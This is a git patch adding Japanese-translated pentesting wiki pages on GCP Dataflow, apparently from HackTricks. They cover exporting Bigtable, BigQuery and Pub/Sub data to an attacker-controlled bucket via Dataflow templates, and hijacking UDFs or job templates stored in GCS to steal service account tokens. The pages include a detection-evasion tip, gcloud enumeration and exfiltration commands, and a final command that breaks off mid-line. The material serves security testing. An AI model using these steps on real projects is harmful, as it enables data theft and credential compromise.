From a3daab194a90937b1bb5d1ddbf90af03c7d7464a Mon Sep 17 00:00:00 2001 From: Translator Date: Mon, 16 Feb 2026 11:12:37 +0000 Subject: [PATCH] Translated ['src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp --- .../gcp-dataflow-post-exploitation.md | 53 ++++++ .../gcp-dataflow-privesc.md | 171 ++++++++++++++++++ .../gcp-services/gcp-dataflow-enum.md | 81 +++++++++ 3 files changed, 305 insertions(+) create mode 100644 src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-dataflow-post-exploitation.md create mode 100644 src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-dataflow-privesc.md create mode 100644 src/pentesting-cloud/gcp-security/gcp-services/gcp-dataflow-enum.md diff --git a/src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-dataflow-post-exploitation.md b/src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-dataflow-post-exploitation.md new file mode 100644 index 000000000..32ee74328 --- /dev/null +++ b/src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-dataflow-post-exploitation.md @@ -0,0 +1,53 @@ +# GCP - Dataflow Post Exploitation + +{{#include ../../../banners/hacktricks-training.md}} + +## Dataflow + +For more information about Dataflow check: + +{{#ref}} +../gcp-services/gcp-dataflow-enum.md +{{#endref}} + +### Using Dataflow to exfiltrate data from other services + +**権限:** `dataflow.jobs.create`, `resourcemanager.projects.get`, `iam.serviceAccounts.actAs` (ソースとシンクにアクセスできるSAに対して) + +Dataflowのジョブ作成権限があれば、GCP Dataflowテンプレートを使用してBigtable、BigQuery、Pub/Subなどのサービスからデータを攻撃者管理のGCSバケットへエクスポートできます。これは、Dataflowアクセスを取得している場合に強力なpost-exploitation手法です — 例えば[Dataflow Rider](../gcp-privilege-escalation/gcp-dataflow-privesc.md)によるprivilege escalation(pipeline takeover via bucket write)など。 + +> [!NOTE] +> ソースを読み取り、シンクに書き込むための十分な権限を持つservice accountに対する`iam.serviceAccounts.actAs`が必要です。指定しない場合、デフォルトではCompute Engine default SAが使用されます。 + +#### Bigtable to GCS + +全文のパターンは [GCP - Bigtable Post Exploitation](gcp-bigtable-post-exploitation.md#dump-rows-to-your-bucket) — "Dump rows to your bucket" を参照してください。テンプレート: `Cloud_Bigtable_to_GCS_Json`, `Cloud_Bigtable_to_GCS_Parquet`, `Cloud_Bigtable_to_GCS_SequenceFile`. + +
+ +Bigtableを攻撃者が管理するバケットへエクスポート +```bash +gcloud dataflow jobs run \ +--gcs-location=gs://dataflow-templates-us-//Cloud_Bigtable_to_GCS_Json \ +--project= \ +--region= \ +--parameters=bigtableProjectId=,bigtableInstanceId=,bigtableTableId=,filenamePrefix=,outputDirectory=gs:///raw-json/ \ +--staging-location=gs:///staging/ +``` +
+ +#### BigQuery to GCS + +BigQuery のデータをエクスポートするための Dataflow templates が用意されています。対象フォーマット(JSON, Avro など)に合ったテンプレートを使い、出力先を自分のバケットに指定します。 + +#### Pub/Sub and streaming sources + +ストリーミングパイプラインは Pub/Sub(またはその他のソース)から読み取り、GCS に書き込むことができます。対象の Pub/Sub サブスクリプションから読み取り、自分が管理するバケットに書き込むテンプレートでジョブを起動します。 + +## References + +- [Dataflow templates](https://cloud.google.com/dataflow/docs/guides/templates/provided-templates) +- [Control access with IAM (Dataflow)](https://cloud.google.com/dataflow/docs/concepts/security-and-permissions) +- [GCP - Bigtable Post Exploitation](gcp-bigtable-post-exploitation.md) + +{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-dataflow-privesc.md b/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-dataflow-privesc.md new file mode 100644 index 000000000..bf88fb114 --- /dev/null +++ b/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-dataflow-privesc.md @@ -0,0 +1,171 @@ +# GCP - Dataflow Privilege Escalation + +{{#include ../../../banners/hacktricks-training.md}} + +## Dataflow + +{{#ref}} +../gcp-services/gcp-dataflow-enum.md +{{#endref}} + +### `storage.objects.create`, `storage.objects.get`, `storage.objects.update` + +Dataflow は GCS に保存された UDF およびジョブテンプレートの YAML の整合性を検証しません。バケットへの書き込み権限があれば、これらのファイルを書き換えてコードを注入し、workers 上でコードを実行し、service account tokens を窃取したり、データ処理を改ざんしたりできます。batch および streaming pipeline ジョブの両方がこの攻撃の対象になります。パイプラインに対してこの攻撃を実行するには、ジョブ実行前、最初の数分間(job workers が作成される前)またはジョブ実行中に新しい workers がスケールアウトする前(autoscaling による)に UDFs/templates を差し替える必要があります。 + +**Attack vectors:** +- **UDF hijacking:** パイプラインで参照され、customer-managed バケットに保存された Python (`.py`) および JS (`.js`) の UDFs +- **Job template hijacking:** customer-managed バケットに保存されたカスタム YAML パイプライン定義 + + +> [!WARNING] +> **Run-once-per-worker trick:** Dataflow の UDFs と template callables は **per row/line** ごとに呼び出されます。調整なしでは exfiltration や token theft が何千回も走り、ノイズ、rate limiting、および検出を引き起こします。**file-based coordination** パターンを使用してください: 先頭でマーカーファイル(例: `/tmp/pwnd.txt`)が存在するか確認し、存在する場合は悪意のあるコードをスキップ、存在しない場合はペイロードを実行してファイルを作成します。これによりペイロードは **once per worker**、行ごとではなく一回だけ実行されます。 + + +#### Direct exploitation via gcloud CLI + +1. Enumerate Dataflow jobs and locate the template/UDF GCS paths: + +
+ +List jobs and describe to get template path, staging location, and UDF references +```bash +# List jobs (optionally filter by region) +gcloud dataflow jobs list --region= +gcloud dataflow jobs list --project= + +# Describe a job to get template GCS path, staging location, and any UDF/template references +gcloud dataflow jobs describe --region= --full --format="yaml" +# Look for: currentState, createTime, jobMetadata, type (JOB_TYPE_STREAMING or JOB_TYPE_BATCH) +# Pipeline options often include: tempLocation, stagingLocation, templateLocation, or flexTemplateGcsPath +``` +
+ +2. GCS から元の UDF またはジョブテンプレートをダウンロードする: + +
+ +bucket から UDF ファイルまたは YAML テンプレートをダウンロードする +```bash +# If job references a UDF at gs://bucket/path/to/udf.py +gcloud storage cp gs:////.py ./udf_original.py + +# Or for a YAML job template +gcloud storage cp gs:////